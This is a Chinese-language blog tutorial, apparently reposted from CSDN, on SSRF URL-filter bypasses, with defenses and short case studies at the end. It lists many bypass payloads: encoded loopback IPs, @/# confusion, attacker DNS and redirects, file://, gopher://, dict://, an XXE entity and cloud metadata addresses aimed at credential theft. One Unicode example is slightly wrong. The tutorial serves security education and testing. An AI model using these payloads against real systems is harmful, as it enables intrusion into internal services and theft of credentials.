引言
服务器端请求伪造(Server-Side Request Forgery,简称SSRF)是一种严重的Web安全漏洞,允许攻击者通过控制服务器发起的请求,访问非预期的目标资源,如内部网络服务、本地文件或外部系统。随着开发者和安全从业者对SSRF漏洞的防范意识增强,许多应用程序引入了输入验证、黑名单过滤、白名单限制和网络分段等防御措施。然而,攻击者通过精心构造的URL绕过技术,依然能够突破这些防护,实施恶意操作。本文将深入探讨SSRF漏洞的分类与利用方式,详细剖析URL绕过技术的原理和实现方法。
一、SSRF漏洞概述与分类
SSRF漏洞的核心在于攻击者通过操控服务器端发起的HTTP或其他协议请求,访问原本不应被访问的资源。其危害性取决于目标系统的网络环境和防护机制。SSRF漏洞可根据利用目标和方式进行分类,主要包括以下几种类型:
-
内部服务访问:攻击者诱导服务器向内部网络(如
127.0.0.1、内网IP192.168.x.x或云元数据服务169.254.169.254)发起请求,访问数据库、内部API或管理面板。例如,AWS、GCP等云环境的元数据服务常成为攻击目标,可能导致凭据泄露。 -
本地文件读取:通过
file://协议,攻击者可读取服务器本地文件(如/etc/passwd或配置文件),获取敏感信息。 -
外部服务交互:攻击者诱导服务器向外部恶意服务器发送请求,可能用于窃取凭据、触发其他漏洞或进行拒绝服务(DoS)攻击。
-
内网探测:利用SSRF扫描内网开放端口和服务,绘制网络拓扑图,为后续攻击(如提权或横向移动)提供基础。
-
云元数据服务利用:在云环境中,攻击者通过访问云提供商的元数据服务(如AWS IMDS、GCP元数据端点)窃取临时凭据或其他敏感信息。
SSRF的危害与利用场景
SSRF的危害取决于目标系统的配置和攻击者的目标。以下是常见的利用场景:
- 凭据窃取:通过访问云元数据服务获取临时访问密钥(如AWS IAM角色凭据)。
- 信息泄露:读取本地文件或访问内部服务,获取敏感数据。
- 网络侦察:探测内网服务,识别开放端口和潜在漏洞。
- 服务交互:利用协议如
gopher://与数据库(如Redis、MySQL)交互,执行命令或修改数据。 - 拒绝服务:向内部或外部服务发送大量请求,耗尽服务器资源。
常见防御措施
为防止SSRF攻击,开发者通常采用以下防护措施:
- 黑名单过滤:禁止特定IP(如
127.0.0.1)或域名(如localhost)的请求。 - 白名单限制:仅允许请求预定义的域名或IP。
- 输入验证:检查URL格式,过滤危险协议(如
file://、gopher://)。 - 网络分段:限制服务器对内网的访问权限。
- Web应用防火墙(WAF):检测并阻止可疑请求。
然而,这些措施并非无懈可击。攻击者通过IP编码、DNS技巧、特殊字符和重定向等绕过手法,依然能够实施SSRF攻击。
二、SSRF URL绕过手法详解
SSRF URL绕过技术的核心在于利用URL解析机制、DNS解析逻辑或协议特性,规避黑名单、白名单或输入验证的限制。以下是我总结的常见的绕过技术。
1. IP地址编码绕过
许多SSRF防护机制通过黑名单过滤127.0.0.1或localhost来阻止本地服务访问。然而,IP地址有多种表示形式,攻击者可利用这些形式绕过过滤。
(1)十进制编码
IP地址可转换为32位十进制整数。例如,127.0.0.1的计算公式为:
127×256³ + 0×256² + 0×256¹ + 1×256⁰ = 2130706433
示例:
- 原始URL:
http://127.0.0.1:80 - 绕过URL:
http://2130706433:80
(2)八进制编码
每个IP段可转换为八进制。例如,127.0.0.1可表示为0177.0000.0000.0001。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://0177.0000.0000.0001
(3)十六进制编码
IP地址可表示为十六进制,如127.0.0.1转换为0x7f000001。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://0x7f000001
(4)混合编码
攻击者可混合十进制、八进制和十六进制。例如,127.0.0.1可表示为0x7f.0.0.1。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://0x7f.0000.0000.0001
(5)IPv6地址绕过
IPv6地址格式(如[::1])常被忽略。例如,http://[::1]:80等价于http://127.0.0.1:80。
示例:
- 原始URL:
http://127.0.0.1:80 - 绕过URL:
http://[::1]:80
(6)短地址或零地址
某些系统将0或127.1解析为127.0.0.1。
示例:
- 绕过URL:
http://0
2. 使用特殊字符(@和#)绕过
特殊字符@和#在URL解析中有特定含义,攻击者可利用这些特性绕过白名单或黑名单过滤。
(1)使用@字符
在URL中,@用于分隔认证信息和主机名。攻击者可构造形如http://allowed.com@127.0.0.1的URL,使服务器解析到127.0.0.1,而过滤器可能仅检查allowed.com。
原理:
- URL格式:
http://username:password@hostname。 - 过滤器可能仅验证
allowed.com,忽略@后的实际目标127.0.0.1。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://allowed.com@127.0.0.1
变种:
- 使用URL编码混淆
@(%40)。 - 示例:
http://allowed.com%40127.0.0.1 - 双重编码:
http://allowed.com%2540127.0.0.1
(2)使用#字符
#表示URL片段(fragment),通常用于客户端定位页面锚点。某些服务器在处理URL时忽略#后的内容,攻击者可将目标地址置于#前。
原理:
- URL如
http://127.0.0.1#allowed.com可能被解析为127.0.0.1,而过滤器检查allowed.com。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://127.0.0.1#allowed.com
变种:
- URL编码
#(%23)。 - 示例:
http://127.0.0.1%23allowed.com - 双重编码:
http://127.0.0.1%2523allowed.com
(3)@和#组合使用
攻击者可结合@和#构造复杂URL,进一步混淆过滤器。例如,http://allowed.com@127.0.0.1#bypass可能被解析为127.0.0.1。
示例:
- 绕过URL:
http://allowed.com@127.0.0.1#bypass - 编码变种:
http://allowed.com%40127.0.0.1%23bypass
3. DNS名称构造绕过
通过控制DNS解析,攻击者可将自定义域名解析到目标IP,绕过黑名单或白名单。
(1)自定义域名解析
攻击者注册域名(如attacker.com),并设置DNS记录指向127.0.0.1或内网IP。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://spoofed.attacker.com
(2)子域名构造
攻击者可使用子域名构造,将目标IP嵌入域名。例如,127.0.0.1.attacker.com可能解析到127.0.0.1。
示例:
- 绕过URL:
http://127.0.0.1.attacker.com
(3)nip.io等服务
nip.io等服务允许生成形如127.0.0.1.nip.io的域名,直接解析到指定IP,方便攻击者测试SSRF漏洞。
示例:
- 原始URL:
http://127.0.0.1 - 绕过URL:
http://127.0.0.1.nip.io
(4)DNS重绑定(DNS Rebinding)
DNS重绑定通过动态更改DNS解析结果,绕过白名单。例如,域名attacker.com初始解析到合法IP(如1.2.3.4),随后切换到127.0.0.1。
示例:
- 绕过URL:
http://attacker.com
4. 重定向绕过
SSRF防护通常仅检查初始URL,忽略重定向目标。攻击者可控制服务器返回302重定向到目标地址。
示例:
- 攻击者服务器
http://attacker.com/redirect返回302到http://127.0.0.1。 - 绕过URL:
http://attacker.com/redirect
变种:
- 使用不同协议(如
https://到http://)。 - 使用不同状态码(如301、307)。
5. 协议操纵绕过
SSRF防护可能仅限制http://和https://,攻击者可尝试其他协议。
(1)file://协议
读取本地文件,如/etc/passwd。
示例:
- 绕过URL:
file:///etc/passwd
(2)gopher://协议
用于复杂请求,如与MySQL、Redis交互。
示例:
- 绕过URL:
gopher://127.0.0.1:3306/_%00%01
(3)其他协议
如dict://、ftp://等,可能在特定环境生效。
示例:
- 绕过URL:
dict://127.0.0.1:6379/info
6. URL编码与字符混淆
(1)单层URL编码
将localhost编码为%6C%6F%63%61%6C%68%6F%73%74。
示例:
- 原始URL:
http://localhost - 绕过URL:
http://%6C%6F%63%61%6C%68%6F%73%74
(2)双重URL编码
编码%为%25,如localhost双重编码为%256C%256F%2563%2561%256C%2568%256F%2573%2574。
示例:
- 绕过URL:
http://%256C%256F%2563%2561%256C%2568%256F%2573%2574
(3)Unicode字符绕过
使用Unicode表示127.0.0.1,如①②⑦.⓪.⓪.⓪。
示例:
- 绕过URL:
http://①②⑦.⓪.⓪.⓪
7. 其他高级绕过技术
(1)开放重定向
利用白名单域名的开放重定向漏洞,重定向到内部地址。
示例:
- 绕过URL:
http://trusted.com/redirect?url=http://127.0.0.1
(2)XXE结合SSRF
通过XML外部实体注入SSRF payload。
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1"> ]>
<root>&xxe;</root>
三、SSRF绕过测试方法
测试SSRF绕过时,可结合以下工具和方法:
- Burp Suite:使用Burp Collaborator生成唯一域名,检测服务器是否发起外部请求。
- SSRFMap:自动化测试SSRF漏洞,支持文件读取、端口扫描等。
- Gopherus:生成
gopher://协议payload,针对MySQL、Redis等服务。 - 自定义服务器:搭建重定向服务器或DNS服务器,测试绕过效果。
- Payload生成工具:如SSRF-PayloadMaker,生成多种编码格式的payload。
测试步骤:
- 确认是否存在SSRF漏洞(尝试
http://burpcollaborator.net)。 - 测试黑名单过滤(使用
127.0.0.1、localhost等)。 - 尝试IP编码、URL编码和DNS绕过。
- 测试重定向和协议操纵。
- 使用工具自动化枚举端口和服务。
四、SSRF防御建议
为有效防止SSRF攻击,开发者应采取以下措施:
- 严格白名单验证:
- 仅允许请求预定义的域名或IP。
- 使用正则表达式验证URL格式,避免子域名或路径绕过。
- 禁用危险协议:
- 禁止
file://、gopher://等非必要协议。
- 禁止
- 规范化输入:
- 在处理URL前进行规范化(如解析IP地址、解码URL)。
- 网络分段:
- 限制服务器对内部网络的访问权限。
- 使用安全的URL解析库:
- 如Java的
InetAddressValidator,避免编码绕过。
- 如Java的
- WAF和监控:
- 配置WAF检测异常请求,实时监控服务器对外请求。
- IMDSv2迁移:
- 对于云环境,禁用IMDSv1,使用IMDSv2增强元数据安全。
五、案例分析
案例1:AWS元数据泄露
攻击者发现某应用允许用户输入图片URL,服务器会下载并处理该URL。防护机制禁止169.254.169.254(AWS元数据服务地址)。攻击者使用十进制编码http://2852039166(等价于169.254.169.254)成功访问元数据,获取临时凭据。
绕过方法:十进制IP编码。
案例2:本地文件读取
某应用支持XML上传,攻击者通过XXE注入file:///etc/passwd,成功读取服务器配置文件。
绕过方法:协议操纵(file://)。
案例3:DNS重绑定
攻击者注册域名attacker.com,初始解析到外部IP,随后通过DNS重绑定切换到127.0.0.1,绕过白名单限制,访问内部服务。
绕过方法:DNS重绑定。
六、结论
SSRF URL绕过技术利用了IP地址编码、URL编码、DNS解析、重定向和协议操纵等多种方法,成功突破常见的防护机制。安全研究人员和开发者需要深入理解这些技术的工作原理,通过规范化输入、严格白名单和网络分段等措施提升系统安全性。同时,借助自动化工具和测试方法,可以更高效地发现和修复SSRF漏洞。
原文 https://blog.csdn.net/2301_79518550/article/details/149885537